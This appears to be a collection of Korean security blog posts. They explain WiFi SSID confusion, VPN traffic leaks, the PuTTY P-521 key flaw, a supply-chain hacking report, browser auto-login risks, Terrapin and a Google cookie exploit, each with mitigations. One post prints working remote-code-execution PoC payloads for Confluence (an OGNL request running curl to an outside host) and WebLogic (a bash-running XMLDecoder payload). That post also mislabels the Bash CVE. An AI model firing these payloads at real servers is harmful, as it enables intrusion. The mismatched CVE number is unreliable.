1. 개요

WiFi 표준의 설계 결함으로 인해 SSID 혼동 공격이 발생할 수 있음 [1]
- 피해자를 속여 취약한 네트워크에 연결시키거나 트래픽을 탈취할 수 있음
IEEE 802.11 WiFi 표준 자체의 설계 결함으로 모든 장치 및 운영 체제의 WiFi 클라이언트에 영향

> 해당 취약점에 CVE-2023-52424 할당

 

2. 주요내용

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-52424

 

- 취약점의 근본 원인 IEEE 802.11 표준이 클라이언트 연결 시 SSID(네트워크 이름)를 항상 인증하지 않는다는 것

> 즉, SSID 인증 부족을 악용해 피해자가 다른 Wi-Fi 네트워크에 연결하도록 속이는 것

 

- 인증 핸드셰이크 중 SSID를 사용하여 암호화키를 도출하는지 여부가 취약성 여부를 결정

인증 프로토콜 설명
WEP - 취약한 RC4 알고리즘을 사용하기 때문으로 판단됨
> 키 스트림 편향 문제, 완전한 난수가 아닌 의사난수 사용 등
WPA3 - SAE 핸드셰이크에서 PMK를 생성하는데 SSID를 사용하지 않는 선택적 모드 존재
> SAE (Simultaneous Authentication of Equals): 두 장치가 공유한 임의의 숫자를 사용해 공유 키를 계산해 통신에 암호화
> PMK (Pairwise Master Key): SAE에 의해 생성되는 공유 키
802.11X/EAP - PMK를 생성하기 위해 SSID를 사용하지 않음
AMPE - 인증을 위해 802.1X를 사용하며, 802.1X는 SSID를 확인하지 않음
FILS - PMK를 생성하는 데 사용되는 공유 키가 EAP 핸드셰이크에 의해 생성되는 경우 취약
- 또는, 캐시된 PMK를 사용하는 경우 피해자가 이전에 신뢰할 수 없는 대상 네트워크에 연결한 경우에만 취약

 

[사진 2] 취약 프로토콜 (주황색: 특정 조건 하 취약)

 

- 공격에 성공하기 위해서는 세 가지 조건이 존재

① 피해자는 신뢰할 수 있는 Wi-Fi 네트워크에 연결을 시도

② 신뢰할 수 있는 네트워크와 동일한 인증 자격 증명을 사용하는 악성 네트워크가 존재

③ 공격자는 피해자와 신뢰할 수 있는 네트워크 사이에서 MitM 공격을 수행할 수 있는 범위 내 위치

 

- 공격 과정은 다음과 같음

① 공격자는 신뢰할 수 있는 네트워크와 유사한(동일한 인증 자격 증명을 사용) 악성 AP 및 네트워크를 구성

② 악성 네트워크를 신뢰할 수 있는 네트워크로 가장하여(SSID 변경) 네트워크에 광고

③ 피해자의 Wi-Fi 클라이언트는 신뢰할 수 있는 네트워크와 연결된 것으로 착각(실제로는 악성 네트워크와 연결)

④ 공격자는 트래픽을 가로채 SSID를 변경해가며(신뢰<->악성) 중간자 공격을 수행

 

※ 일부 VPN 클라이언트의 경우 "신뢰할 수 있는" Wi-Fi 네트워크에 연결할 때 자동으로 VPN 연결 비활성화

> 일반적으로 VPN 설정에서 신뢰할 수 있는 SSID를 지정하여 사용

> SSID 혼동 공격이 성공하면 VPN이 비활성화되어 사용자 트래픽이 노출

[사진 3] SSID 혼동 공격 과정

 

대응방안 Wi-Fi 표준 개선 - 보호된 네트워크에 연결할 때 SSID 인증을 의무화하도록 표준 업데이트
> 4-Way 핸드셰이크 과정에서 SSID를 포함하도록 업데이트
Wi-Fi 클라이언트 개선 - 클라이언트 수준에서 비콘 보호 기능이 향상되면 공격 방어에 도움
> 비콘: 무선 액세스 포인트가 주기적으로 전송하여 자신의 존재를 알리는 관리 프레임
> 현재 논의중인 Wi-Fi 7은 비콘 보호에 대한 지원을 의무화
자격 증명 재사용 방지 - SSID 전체에서 자격 증명 재사용 방지
> 기업 네트워크는 고유한 RADIUS 서버 CommonName 사용
> 가정용 네트워크는 SSID 별로 고유한 비밀번호 사용

 

3. 참고

[1] https://www.top10vpn.com/research/wifi-vulnerability-ssid/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-52424
[3] https://www.boannews.com/media/view.asp?idx=129889&page=1&kind=1
[4] https://www.dailysecu.com/news/articleView.html?idxno=156035

1. VPN(Virtual Private Network)

- 가상 사설망

- 기존 공용 네트워크에 터널링 및 암호화 기법을 사용해 만든 가상 사설망 네트워크

- VPN을 활용해 외부에서 안전하게 내부망과 통신할 수 있음

- 비용 효율, 익명성, 암호화, IP 우회 등의 장점과 속도 저하, 일부 국가 불법 등의 단점이 있음

 

2. TunnelCrack [1]

- 23.08.08 VPN의 두 가지 보안 취약점이 결합된 트래픽 유출 취약점이 발견

> 해당 공격은 사용되는 VPN 프로토콜과 무관

> 많은 VPN 클라이언트는 다음 두 가지 유형의 트래픽을 VPN 터널 외부로 전송하기 위해 예외를 추가

① 로컬 네트워크와 주고받는 트래픽: VPN을 사용하는 동안 로컬 네트워크에 계속 액세스할 수 있도록 보장

② VPN 서버와 주고받는 트래픽: 라우팅 루프가 없음을 보장

 

2.1 LocalNet 공격 (CVE-2023-36672, CVE-2023-35838)

[사진 1] LocalNet 공격 요약

 

- 공격자가 로컬 네트워크 IP 주소 범위를 조작하여 트래픽이 유출될 수 있음

> 공격자가 로컬 네트워크에 할당된 IP 범위를 제어할 수 있다고 가정

> 공격자는 로컬 네트워크 내에서 활동

① 공격자는 악성 AP를 생성 하고 로컬 네트워크 IP 범위를 대상 서버의 IP 주소가 포함된 범위로 설정

② 피해자 VPN 클라이언트는 연결하려는 웹사이트가 로컬 네트워크에 있다고 믿도록 속여 연결되지 않음

 

[사진 2] LocalNet 공격 과정

 

① 공격자는 악성 AP를 생성하고 대상 서버의 IP 주소가 포함된 범위로 IP 범위를 설정하며, 피싱 사이트 생성

> 피싱 사이트는 대상 서버와 IP를 동일하게 구성

② 피해자는 악성 AP에 연결하며, 악성 AP는 target[.]com과 동일한 서브넷의 IP 주소 할당

③ 피해자는 정상적인 VPN 연결을 생성

④ 피해자가 target[.]com 접속 시 피싱 사이트로 연결

> 피해자는 target[.]com(피싱 사이트)가 동일한 로컬 네트워크에 있다고 믿음

> 결과적으로 클라이언트는 VPN 터널을 사용하지 않고 웹 서버에 직접 연결 시도

※ 목적지 target[.]com을 제외한 트래픽은 정상 VPN 터널을 통해 전송

 

2.2 ServerIP 공격 (CVE-2023-36673, CVE-2023-36671)

[사진 3] ServerIP 공격 요약

 

- 공격자는 VPN 서버의 IP 주소를 스푸핑하여 트래픽이 유출될 수 있음

> 공격자가 DNS 응답을 스푸핑할 수 있다고 가정

> 공격자는 위치는 (1) 피해자가 VPN 서버의 IP 주소를 조회하는데 사용하는 DNS 서버 (2) 트래픽을 유출하려는 피해자와 대상 서버

① 공격자는 피해자의 VPN 서버에 대한 nslookup 결과를 스푸핑 (DNS 스푸핑)

② 피해자는 스푸핑된 IP 주소로 서버에 연결 시도

 

[사진 4] ServerIP 공격 과정

 

① 피해자는 vpn[.]com의 IP를 얻기위해 nslookup

② 공격자는 nslookup에 대한 응답을 스푸핑하여 조작된 응답을 전송

> [사진 4]에서는 target[.]com의 IP 주소로 DNS 스푸핑

③ 피해자는 조작된 IP로 VPN 연결을 시도하며, 공격자는 정상 vpn[.]com으로 패킷 포워딩

④ 피해자가 target[.]com으로 접속 시 트래픽은 VPN 터널 외부로 전송

> 결과적으로 VPN 클라이언트는 스푸핑된 IP 주소로 연결을 시도

 

2.3 취약점 영향 및 대응 방안

[사진 5] TunnelCrack에 영향받는 VPN 클라이언트 비율 (좌 LocalNet, 우 ServerIP)

구분 대응방안
LocalNet - 로컬 트래픽 비활성화 (단, 로컬 네트워크 사용이 불가해짐)
- 라우팅할 수 없는 IP 주소에 대한 직접 액세스만 허용 (로컬 네트워크에 대한 액세스가 필수인 경우)
ServerIP - 정책 기반 라우팅 (VPN 클라이언트를 제외한 모든 애플리케이션의 트래픽을 VPN 터널을 통해 전송)
- 서버 IP 주소 확인 (클라이언트가 서버에 연결되면 VPN 서버의 IP 주소 확인)
- 인증된 DNS 사용 (DNSSEC 등)

 

3. TunnelVision (CVE-2024-3661) [2][3]

- 24.05.06 VPN 트래픽을 훔쳐볼 수 있는 취약점이 발견

> DHCP의 설계 오류로 인해 발생

> IP 라우팅을 기반으로하는 모든 VPN 시스템에 통하는 공격으로 2 가지 조건을 가짐

① 공격자가 클라이언트의 DHCP 서버가 되어야 함

② 대상 호스트의 DHCP 클라이언트는 옵션 121을 구현해야 함

 

- DHCP Option 33 vs Option 121

> 1997년 DHCP RFC에는 관리자가 클라이언트의 라우팅 테이블에 설치할 고정 경로를 지정할 수 있는 옵션 33 존재

> 옵션 33Classful Static Routes를 사용하였고, 공용 IP 공간이 제한되면서 시간이 지남에 따라 선호되지 않음

> 2002년 RFC 3442에서 Classless Static Routes가 가능한 옵션 121 도입 (호환을 위해 옵션 33 유지)

> TunnelVision은 옵션 121를 악용해 공격

※ Android는 DHCP 옵션 121을 지원하지않아 영향받지 않음

 

[사진 6] TunnelVision 공격 과정 [4]

 

① 공격자는 정상 DHCP 서버에 DHCP 고갈 공격을 수행

> DHCP 고갈 공격: DHCP 서버에 MAC 주소를 변조하여 DHCP Discover 패킷을 계속 전송하여 IP 주소를 모두 소진하도록 하는 공격

> DHCP는 DHCP Discover 패킷의 MAC 주소만 보고 호스트 인식

② 공격자는 피해자와 동일한 네트워크에서 악성 DHCP를 운영

③ 악성 DHCP 서버는 옵션 121을 악용해 라우팅 테이블에 고정 경로를 구성

④ 공격자는 트래픽이 기본 게이트웨이로 전달되기 전에 암호화되지 않은 트래픽을 가로챌 수 있음

 

[사진 7] 옵션 121을 악용한 정적 경로 [4]

 

 

[영상 1] TunnelVision 공격 시연 영상 [5]

 

3.1 대응방안

구분 설명
DHCP Snooping - DHCP 서버를 보호하기 위해 사용하는 기능
> 스위치에는 DHCP 서버 또는 DHCP Relay Agent가 접속된 Trusted Port와 DHCP 클라이언트가 접속된 Untrusted Port가 있음
> Untrusted Port에서 DHCP 응답 메시지를 확인하면 차단 (DHCP Spoofing 방지)
> 또한, Ethernet 프레임의 SRC MAC 주소와 DHCP 메시지의 클라이언트 MAC 주소를 비교해 정상 여부 판단 (DHCP 고갈 공격 방지)
옵션 121 비활성화 - TunnelVision은 옵션 121을 악용하므로 옵션 121 비활성화시 완화할 수 있음
포트 보안 - 포트에 연결된 PC의 MAC 주소를 등록한 후 등록된 MAC 주소에서 수신한 패킷만 전달

 

4. 참고

[1] https://tunnelcrack.mathyvanhoef.com/details.html
[2] https://www.leviathansecurity.com/blog/tunnelvision
[3] https://github.com/leviathansecurity/TunnelVision
[4] https://www.zscaler.com/blogs/security-research/cve-2024-3661-k-tunnelvision-exposes-vpn-bypass-vulnerability

[5] https://www.youtube.com/watch?v=ajsLmZia6UU

1.PuTTY [1]

- SSH, 텔넷, rlogin, raw TCP를 위한 클라이언트로 동작하는 자유 및 오픈 소스 단말 에뮬레이터 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-31497 [2]

 

- 취약한 버전의 PuTTY에서 발생하는 비밀 키 복구 취약점

> 공격자는 비밀 키를 복구 및 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인할 수 있음

영향받는 버전: PuTTY 0.68 ~ 0.80

 

2.1 상세내용 [3]

- PuTTY 0.68 ~ 0.80까지 모든 버전에는 NIST P521 커브를 사용하는 ECDSA(타원 곡선 디지털 서명 알고리즘) 개인 키에서 서명을 생성하는 코드에 심각한 취약점이 존재

> PuTTY 또는 Pageant가 SSH 서버에 인증할 때 키에서 서명을 생성할 때 발생

 

2.1.1 취약점의 영향

- 사용자의 비밀 키가 노출

> 공격자가 다수의 서명된 메시지와 공개 키를 가지고 있으면 개인 키를 복구하는데 충분한 정보를 가지게 됨

> 이를 통해 사용자인 것처럼 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인이 가능해 짐

> 서명을 얻기 위해 키를 사용하여 인증하는 서버를 침해하거나, 키를 보유한 Pageant 사본에 잠시 액세스하면 됨

 

2.1.2 영향받는 키 타입

- 영향을 받는 유일한 키 타입521bit ECDSA

① Windows PuTTYgen에서 'Key fingerprint' 상자의 시작 부분에 ecdsa-sha2-nistp521이 표시되거나
② Windows Pageant에 로드될 때 'NIST p521'로 설명되거나
③ SSH 프로토콜 또는 키 파일에서 ecdsa-sha2-nistp521로 시작하는 ID를 가진 키

> 다른 크기의 ECDSA와 다른 키 알고리즘은 영향 받지 않음 (특히 Ed25519는 영향을 받지 않음)

 

2.1.3 오류 상세 내용

- 모든 DSA(디지털 서명 알고리즘) 서명 체계는 서명 중 무작위 값을 생성해야 함

> nonce(한 번만 사용되는 값) 또는 문자 k로 알려짐
> 공격자가 사용된 값을 추측 하거나 동일한 값으로 생성된 두 개의 서명을 찾을 수 있다면 즉시 개인키 복구가 가능

※ 즉, 무작위성이 없는 시스템에서 DSA 서명을 생성하는 것은 매우 위험

 

- PuTTY는 Windows에서 개발되었기 때문에 난수 생성기가 전혀 없었음

> 무작위 값이 아닌 결정론적 방법을 사용하여 k를 생성

> 해시 입력에 서명할 메시지와 개인 키를 모두 포함하는 보안 해시를 계산하는 것이 핵심 기법 (RFC 6979)

> PuTTY는 2001년부터 동일한 작업을 수행했고 해당 RFC는 2013년 문서화되어 PuTTY는 해당 사양을 따르지 않음

 

2.1.4 취약점 발생 원인

- PuTTY의 기술은 SHA-512 해시를 만든 후 이를 mod q로 줄이는 방식으로 작동

> P521(=영향받는 키 타입)을 제외한 모든 경우에 512bit 숫자를 mod q로 줄임으로써 발생하는 편향은 무시가능

> 그러나 P521의 경우 q가 521bit(즉, 512bit 이상)이므로 512bit 숫자를 mod q로 줄이는 것은 아무 의미가 없음

> 상위 9bit 값이 항상 0인 값을 얻게 되며, 이러한 편향으로 인해 키 복구 공격이 가능해 짐

※ 필요한 서명의 개수는 약 60개

 

2.1.5 취약점 수정 내용 및 대응 방안

- 수정 내역: 모든 DSA 및 ECDSA 키 유형에 대해 RFC 6979를 따르도록 변경

> 이전 시스템 완전 폐기

> Ed25519와 같은 EdDSA 키는 이미 다른 시스템을 사용하고 있어 변경되지 않음

 

- 대응 방안: 영향받는 유형의 키가 있는 경우 즉시 폐기

> 모든 OpenSSH authorized_keys 파일과 다른 SSH 서버의 동일한 파일에서 이전 공개키를 제거

> 손상된 키의 서명이 더 이상 가치가 없도록한 후 새 키 쌍을 생성해 교체

 

3. 참고

[1] https://www.putty.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-31497
[3] https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-p521-bias.html
[4] https://www.boannews.com/media/view.asp?idx=128945&page=6&kind=1

1.  개요

- 최근 수년간 소프트웨어 공급망을 통한 다양한 침해사고 발생

- 인프라를 운영하며 관련 법률에서 제정한 다양한 규정 준수 및 보안 인증 등을 위해 다양한 솔루션이 사용

- 솔루션 증가는 공격자 입장에서 더 많은 선택권이 주어지는 것이므로, 현재 사용되는 솔루션의 위험성을 인식할 필요

- 금보원은 공격자의 관점에서 모의해킹을 진행공급망 공격을 분석한 ‘레드아이리스 인사이트 리포트 : Campaign ThirdEye’를 발간 [1]

※ 내용의 민감성을 고려하여 요약본 게시

 

2. 주요 내용

2.1 3rd Party 솔루션 유형 분류

구분 설명
형태별 분류 - 단일 소프트웨어 형태
- 하드웨어와 소프트웨어가 포함된 어플라이언스 장비 형태
기능별 분류 - 업무용 솔루션: 그룹웨어 / 웹 메일 / 메신저 / 문서 편집 / 업무포탈 등
- 보안 솔루션: 통합인증 / 망분리 및 망연계 / 계정관리 / 서버접근통제 등

 

2.2 3rd Party 취약점 분석

구분 설명
파일 업로드 취약점 - 파일업로드 기능을 이용해 악의적인 웹쉘 파일을 업로드하는 취약점
> 웹쉘 업로드 성공시 구동하는 웹 서비스 권한으로 쉘 획득 및 후속 공격이 가능
> 게시판 모듈의 취약점을 악용한 사례가 가장 많이 발견(개발사 폐업, 지원 종료, 업데이트 미적용 등)

- 세부 사례
① 업로드 확장자 검증 미흡
> 대부분 최신 버전 에디터는 기본적으로 JSP 등 악의적인 파일 업로드를 방지하기 위해 확장자 제한
> 일부 구버전 게시판 에디터의 경우 별도 검증 없이 파일 첨부 기능을 제공

② 관리자 페이지를 통한 파일 업로드
> 관리용 기능에서는 별도의 보안 검증을 수행하지 않는 경우가 많음
> 실질적으로 관리자 페이지 및 URL이 노출되지 않더라도 추측 및 무작위 대입을 통해 URL 식별 가능
> 원활한 관리를 위해 원격 접근을 허용하는 경우 또한 존재

 

2.3 써드아이(ThirdEye) 캠페인

- 3rd Party 솔루션 모의해킹 시나리오를 심층 분석해 가상의 해킹작전 (오퍼레이션)으로 재구성

> 이와 연관된 모든 활동을 써드아이(ThirdEye) 캠페인으로 명명

> 공격자 관점으로 시나리오별 세부적인 TTPs를 공유효율적으로 선제적 대응을 할 수 있도록 지원하는 것이 목표

[사진 1] 써드아이(ThirdEye) 캠페인

 

- 오퍼레이션별 TTPs 프로파일링

구분 설명
초기 침투 - 초기 침투시 공통적으로 파일 업로드 활용
- 각각 테스트 페이지, 에디터, 파일 전송 모듈을 찾아 악용
지속성 유지 - 재접속을 위해 웹쉘, SSH 많이 이용
- 비밀번호 변경 없이 SSH 키를 등록하거나, 관리자 계정을 생성하는 방법을 주로 사용
인증정보 - WAS 설정 파일을 복호화하여 DB 접속 정보, 관리자 계정 정보 등 탈취
접근 네트워크 확장 - 정상 프로토콜을 악용해 터널링 생성
- 주로 HTTP와 SSH 터널링을 활용
- 터널링을 맺게 되면 연결된 포트를 통해 패킷이 경유지를 거쳐 방화벽을 우회하여 직접 접근하지 못하던 네트워크에 접근이 가능 (=네트워크 피보팅)
측면 이동 - 더 많은 서버와 PC의 권한을 획득하는 것이 목적
- 정상 인증정보 확보 또는 솔루션 취약점 악용

 

2.3 대응방안

구분 설명
파일 업로드 취약점
원인 제거 및 관리
- 여러 곳에 구현된 업로드 기능을 우선적 파악
- 일반적인 기능 외에도 다양한 업로드 기능이 존재할수 있음
- 예시: 업로드 허용 확장자, 타입, 용량 제한 / 업로드 경로 실행권한 제거 / 업로드 경로 분리 등
서버 내 인증정보 관리 - 비밀번호 하드코딩 금지
- 필요시 암호화 적용 및 엄격한 파일 권한 설정
비밀번호 설정 및
점검 강화
- 유추하기 쉬운 키워드가 포함되지 않도록 설정
- 비밀번호 설정 정책, 가이드, 교육 외에도 실제 점검을 수반
솔루션 점검 및
계정 모니터
- 솔루션은 다수의 PC 및 서버와 연동되어 있으며, 높은 권한을 지님
- 솔루션 자체에 대해서도 계정, 포트, 정책 등 다양한 점검이 필요

 

[사진 2] 핵심 조치 필요 사항

3. 결론

- 솔루션 도입을 통해 효율적으로 관리를 시도하나, 관리 인원이 추가되지 않고 관리 요소만 증가하는 경향

- 공격자들은 이미 수년전부터 공급자인 제조사를 해킹해 소스코드 탈취해 취약점 확보 후 공격에 악용

- 패치 되지 않았거나, 계정 관리가 되지 않거나, 중앙 집중 관리 솔루션 등에 대해 접근통제 및 모니터링 필요

 

4. 참고

[1] https://www.fsec.or.kr/bbs/detail?menuNo=1011&bbsNo=11420
[2] https://www.boannews.com/media/view.asp?idx=127420&page=1&kind=1

1. 개요

- 최근 브라우저 자동 로그인 기능을 악용한 계정 정보 탈취 범죄 급증함에 따라 KISA 권고 발표 [1]

- 사용자는 자동 로그인 기능 비활성화 및 개인정보 유출에 주의 必

 

2. 주요 내용

- 대부분의 브라우저는 편의성을 위해 계정정보를 저장하여 자동 입력해주는 자동 로그인 기능을 제공

- 해당 기능을 사용하는 PC가 악성코드에 감염되거나, 공용 PC에서 해당 기능 사용시 계정정보 탈취 등 위협 증가

영향받는 브라우저 구글 크롬(Google Chrome)
MS 엣지(Microsoft Edge)
모질라 파이어폭스(Mozilla FireFox)

 

- 탈취한 계정정보를 이용해 다른 사이트에서 로그인을 시도하는 크리덴셜 스터핑(Credential Stuffing) 공격 시도

> 크리덴셜 스터핑: 대부분의 사용서로 다른 사이트에 동일한 계정정보를 사용하는 것을 이용, 탈취한 계정 정보를 무작위로 대입하여 로그인을 시도하는 공격

> 과학기술정보통신부의 침해사고 조사결과 크리덴셜 스터핑은 공격 시도 대비 약 0.3% 성공률

> 관련 사례: 인포스틸러에 의한 국가·공공기관 정보 서비스 이용자 개인정보 유출, 엔씨소프트 계정 탈취 등 [2][3]

 

- 따라서, 자동 로그인 기능 비활성화 및 사용자의 주의 필요

> 개인정보보호위원회와 KISA는 자주 사용하는 계정의 유출 여부를 조회하는 서비스 ‘털린 내 정보 찾기 서비스’ 제공 [4]

구분 대응 방안
구글 크롬(Google Chrome) ① 오른쪽 상단 프로필 비밀번호를 선택
② 설정 메뉴에서 자동 로그인 사용을 중지
MS 엣지(Microsoft Edge) ① 오른쪽 상단 더보기에서 설정 선택
② 프로필 선택
③ 암호 선택
④ 자동으로 로그인 및 암호 필드에 암호 나타내기 단추 옵션을 모두 ‘사용 안함’으로 변경
모질라 파이어폭스(Mozilla FireFox) ① 오른쪽 상단 더보기 클릭
② 설정 선택
③ 개인정보 및 보안 메뉴
④ 저장된 로그인을 선택
⑤ 목록에 있는 정보를 모두 제거

 

3. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71358&menuNo=205020
[2] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=279
[3] https://www.boannews.com/media/view.asp?idx=125617&page=1&kind=1
[4] https://kidc.eprivacy.go.kr/

1. 개요 [1]

- 최근 해킹조직이 국내 웹사이트 공격에 소프트웨어 취약점을 악용

- 취약한 버전의 소프트웨어를 운용하는 경우 최신버전 업데이트 등 보안 조치 권고

 

2. 주요내용

2.1 Atlassian (CVE-2023-22527) [2]

- Atlassian社 Confluence Server 및 Confluence Data Center 제품 탬플릿에 OGNL 표현식을 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8) [3]

- 영향받는 버전: 8.0.x / 8.1.x / 8.2.x / 8.3.x / 8.4.x / 8.5.0 ~ 8.5.3
- 취약점은 "./confluence/confluence/template/aui/text-inline.vm"에서 발생
> #set( $labelValue = $stack.findValue("getText('$parameters.label')") )
> 매개변수를 직접 사용하여 발생하는 취약점

- PoC [4]

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

label=\u0027%2b
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027

 

2.2 Oracle (CVE-2017-3506) [5]

- Oracle WebLogic WLS 제품에서 XML 디코드 처리 미흡으로 조작된 XML 페이로드를 전송해 원격 코드 실행이 가능한 취약점 (CVSS: 7.4) [6]
- 영향받는 버전: 10.3.6.0 / 12.1.3.0 / 12.2.1.0 / 12.2.1.1 / 12.2.1.2
- PoC [7][8]

<soapenv:Envelope xmlns:soapenv="hxxp://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="hxxp://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/123</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

 

2.3 GNU (CVE-2013-6217) [9]

- GNU Bash Shell에서 환경변수에 악의적인 코드를 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)
- 영향받는 버전: 1.14.0~1.14.7 / 2.0~2.05 / 3.0~3.0.16 / 3.1~3.2.48 / 4.0~ 4.3
- 관련 추가 내용 확인 불가

 

3. 대응방안

- 최신 버전 업데이트 적용

취약점 대상 소프트웨어 조치 방안
CVE-2023-22527 Confluence Data Center 8.5.4. 이상 업데이트
Confluence Server 8.6.0 이상 업데이트
8.7.1 이상 업데이트
CVE-2017-3506 WebLogic 2017.10 Oracle Critical 패치
업데이트
CVE-2014-6271 GNU Bash Red Hat Enterprise Linux 
4,5,6,7 업데이트
Ubuntu 10.04, 12.04, 14.04 
업데이트
* GNU 기반 운영체제별 최신 
업데이트 권고

 

4. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=115734&pageIndex=1&searchCnd2=
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-22527
[3] https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
[4] https://github.com/Manh130902/CVE-2023-22527-POC
[5] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[6] https://ggonmerr.tistory.com/search/CVE-2017-3506
[7] https://github.com/Al1ex/CVE-2017-3506
[8] http://www.code2sec.com/weblogiclou-dong-cve-2017-3506fu-xian-web-servicesmo-kuai-de-lou-dong.html
[9] https://nvd.nist.gov/vuln/detail/CVE-2013-6217

1. 개요 [1]

- SSH(Secure Shell Protocol)는 1995년 telnet, rlogin, rcp 등의 대안으로 설계되어, 암호화된 통신을 지원
> 인증된 키 교환을 사용해 클라이언트와 서버간 보안 채널을 설정
> 보안 채널은 메시지 조작, 재전송, 삭제 등을 방지하여 기밀성과 무결성을 보장
- 독일 보훔 루르대학교에서 SSH를 공격할 수 있는 새로운 기법 Terrapin 발견
> 통신 채널을 통해 교환되는 메시지를 삭제, 변경 등 조작할 수 있음
OpenSSH, Paramiko, PuTTY, KiTTY, WinSCP, libssh, libssh2, AsyncSSH, FileZilla, Dropbear를 포함한 다양한 SSH 클라이언트 및 서버에 영향

 

[사진 1] Tererapin Attack

2. 주요내용

Terrapin Attack은 SSH 핸드셰이크 과정에 개입해 중간자 공격 수행

> 핸드셰이크 과정은 클라이언트와 서버가 암호화 요소에 동의하고, 키를 교환해 보안 채널을 설정하는 중요 단계
> 전 세계 약 1,100만 개 이상의 SSH 서버가 영향권 [2]

 

[사진 2] 공격 개요

 

[사진 3] Terrapin Attack 취약 서버

 

- SSH 핸드셰이크 과정의 2가지 문제에 의해 발생

핸드셰이크의 모든 과정이 아닌 시퀀스 번호를 이용해 관리
보안 채널 시작시 시퀀스 번호를 재설정하지 않음

> 따라서, 공격자는 핸드셰이크 과정에 개입 및 시퀀스 번호 조작을 통해 SSH 채널의 무결성을 손상 시킬 수 있음

※ 사용자 인증을 위한 공개 키 알고리즘 다운그레이드, 여러 보안 기능 비활성화 등

 

[사진 4] 취약점 근본 원인

 

- 공격이 성공하기 위한 조건 존재

> 중간자 공격이 가능해야 하며, ChaCha20-Poly1305 암호화 알고리즘을 사용
> ChaCha20-Poly1305 알고리즘은 시퀀스 번호를 직접 사용하기 때문에 취약

 

※ 참고

영향 알고리즘
취약하지 않음 GCM, CBC-EaM, CTR-EaM
취약하나 악용불가 CTR-EtM
취약하나 확율적 악용가능 CBC-EtM

 

- 논문에 따르면 전체 서버 중 57.73%가 ChaCha20-Poly1305 알고리즘 선호

> 전체 서버 중 ChaCha20-Poly1305, CBC-EtM 알고리즘이 각각 67.58%, 17.24% 지원 (그 중 7%는 두 가지 알고리즘 모두 제공)

 

[사진 5] 지원 암호 알고리즘

 

- 해당 공격은 CVE-2023-48795로 명명 [3]
> CVE-2023-46445(AsyncSSH의 악성 확장 협상 공격), CVE-2023-46446(AsyncSSH의 악성 세션 공격) 포함

 

3. 대응방안

> 클라이언트-서버간 모든 SSH 핸드셰이크를 인증
> 시퀀스 번호 재설정: 암호화 키가 활성화될 때 시퀀스 번호 0 재설정
> 통신 종료 메시지 지정: TLS 에서는 핸드셰이크 과정의 끝을 알리기 위해 Finished 메시지가 전송되며, 이는 서명이나 암호화되어 상대방이 검증하는 용도로 사용 [4]
> 핸드셰이크 과정 중 인증되지 않은 애플리케이션 계층 메시지를 허용하지 않도록 강화(AsyncSSH의 경우)
> 서버 보안 패치 즉시 적용: 패치가 적용된 서버일지라도, 클라이언트가 취약한 상태라면 서버 또한 취약한 상태이므로 주의 필요
> 취약점 스캐너 활용 [5]

 

4. 참고

[1] https://terrapin-attack.com/
[2] https://www.bleepingcomputer.com/news/security/nearly-11-million-ssh-servers-vulnerable-to-new-terrapin-attacks/
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-48795
[4] https://learn.microsoft.com/ko-kr/windows/win32/seccrypto/finish-messages-in-the-tls-1-0-protocol
[5] https://github.com/RUB-NDS/Terrapin-Scanner/releases/tag/v1.1.3
[6] https://cybersecuritynews.com/new-terrapin-attacking-ssh-protocol/
[7] https://www.dailysecu.com/news/articleView.html?idxno=152520
[8] https://www.digitaltoday.co.kr/news/articleView.html?idxno=498909

1. 개요

- 23.10 위협 행위자 PRISMA는 영구 Google 쿠키를 생성할 수 있는 익스플로잇 공개 [1]
- 익스플로잇을 통해 위협 행위자는 사용자가 비밀번호를 재설정한 후에도 구글에 지속적으로 액세스 가능
- Lumma, Rhadamanthys, Stealc, Medusa, RisePro, Whitesnake 등 Infostealer Malware에서 악용중

 

2. 주요내용 [2]

[영상 1] 시연 영상

 

- 23.10 위협 행위자 'PRISMA'는 Google 계정과 관련된 제로데이 취약점을 악용한 공격 툴 공개

세션을 탈취해 비밀번호를 재설정한 후에도 새로운 쿠키를 생성해 구글 서비스에 지속적 액세스가 가능

> 해당 툴은 2가지 기능을 지님

① 비밀번호 변경 유무와 상관없이 세션 유지
② 새로운 유효한 쿠키 생성

 

[사진 1] 텔레그램 사진

 

- 공격 툴을 리버스 엔지니어링하여 취약점은 'MultiLogin'이라는 Google OAuth 엔드포인트에 의존

> 다양한 구글 서비스에서 계정을 동기화하도록 설계
